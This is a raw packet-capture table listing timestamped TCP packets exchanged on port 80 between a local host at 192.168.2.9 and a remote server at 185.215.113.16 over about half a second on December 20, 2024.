Dec 20, 2024 17:29:47.525489092 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.525800943 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.526276112 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.526361942 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.526480913 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.527184963 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.527245045 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.617491007 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.617862940 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.617880106 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.617974997 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.617989063 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.618035078 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.618688107 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.618983030 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.619091988 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.619118929 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.621710062 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.621807098 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.622036934 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.622051954 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.622092962 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.622179985 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.623094082 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.623228073 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.623475075 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.623800993 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.623858929 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.623886108 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.624810934 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.624912977 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.625041962 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.625499010 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.625566959 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.625700951 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.626394987 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.626478910 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.626503944 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.639419079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.639523983 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.639637947 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.639749050 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.639765978 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.639784098 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.640592098 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.640649080 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.640687943 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.641612053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.641661882 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.641717911 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.642122984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.642246008 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.642272949 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.642992973 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.643064976 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.643138885 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.643843889 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.643918991 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.643969059 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.644673109 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.644821882 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.644929886 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.645512104 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.645560980 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.645673037 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.646347046 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.646498919 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.646661043 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.647236109 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.647279024 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.647716045 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.648127079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.648175955 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.648948908 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.648967981 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.648986101 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.649032116 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.649805069 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.649884939 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.649946928 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.650675058 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.650743008 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.650804043 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.651618004 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.651691914 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.652100086 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.652384043 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.652430058 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.652510881 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.653204918 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.653243065 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.653408051 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.654126883 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.654185057 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.654464960 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.654954910 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.654970884 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.655025005 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.655950069 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.656009912 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.656635046 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.656651020 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.656702042 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.658348083 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.658370972 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.658385992 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.658402920 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.658418894 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.658456087 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.658909082 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.659255981 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.659271955 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.659329891 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.660964012 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.660980940 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.660995960 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.661012888 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.661050081 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.661050081 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.661905050 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.661940098 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.662115097 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.662722111 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.662770987 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.663187981 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.663491011 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.663507938 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.663535118 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.664561033 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.664629936 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.666395903 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.708766937 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.709280968 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.709296942 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.709343910 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.709343910 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.709724903 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.710216045 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.710757017 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.710776091 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.710907936 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.710953951 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.711237907 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.711899996 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.711924076 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.711962938 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.712888956 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.712904930 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.712965012 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.713546991 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.713563919 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.713716030 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.714886904 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.714904070 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.714937925 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.715773106 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.715929985 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.716021061 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.716842890 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.716861010 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.717294931 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.717674017 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.717729092 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.718713999 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.718729973 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.718811989 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.719369888 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.719933987 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.719949961 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.720110893 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.720515966 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.720834970 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.810395956 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.810420036 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.810534954 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.810549021 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.810569048 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.810616016 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.811464071 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.811541080 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.811650038 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.812283993 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.813764095 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.813857079 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.814094067 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.814209938 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.814224005 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.814342976 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.815243006 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.815294027 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.815323114 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.815884113 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.815953970 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.816220999 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.816765070 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.816926003 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.816941977 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.817640066 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.817713022 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.817804098 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.818669081 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.818730116 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.818814039 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.831939936 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.832046986 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.832120895 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.832362890 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.832508087 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.832607985 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.833379984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.833391905 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.833436012 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.833978891 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.834043980 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.834429026 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.834656000 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.834728003 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.835272074 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.835392952 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.835478067 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.835984945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.836126089 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.836179018 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.836879015 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.837244034 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.837486982 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.837716103 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.837865114 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.837905884 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.838754892 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.838824034 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.838895082 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.839570999 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.839621067 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.839782000 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.840246916 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.840440989 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.840596914 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.841192007 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.841772079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.841828108 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.842140913 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.842185974 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.842226982 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.842869997 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.843179941 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.843323946 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.843761921 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.843939066 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.844017982 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.844634056 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.845009089 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.845185041 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.845424891 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.845834017 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.845932961 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.846347094 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.846731901 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.846798897 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.847115993 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.847366095 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.847479105 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.848005056 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.848017931 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.848071098 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.848889112 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.849010944 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.849087954 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.849708080 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.849925995 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.850050926 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.850753069 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.851037025 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.851140976 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.851561069 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.851577044 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.851629019 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.852449894 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.852538109 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.852650881 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.853149891 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.853761911 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.853816986 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.854124069 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.854136944 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.854195118 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.854907990 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.854922056 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.855110884 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.855912924 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.856327057 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.856376886 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.856683969 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.856695890 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.856784105 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.871587038 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.901287079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.901303053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.901402950 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.901499987 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.901633978 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.901720047 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.902292967 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.902725935 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.902812958 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.903155088 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.903306007 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.903361082 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.904217005 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.904536963 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.904607058 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.906644106 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.906981945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.907026052 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.907332897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.907522917 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.907567024 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.907809973 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.907821894 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.907871008 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.908397913 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.908410072 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.908468008 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.908864975 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.909074068 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.909126997 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.909452915 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.909554005 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.909713984 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.909984112 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.910650015 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.910697937 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.910851955 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.910862923 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.910893917 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:47.911721945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:47.965431929 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.002476931 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.002810001 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.002821922 CET	80	49719	185.215.113.16	192.168.2.9
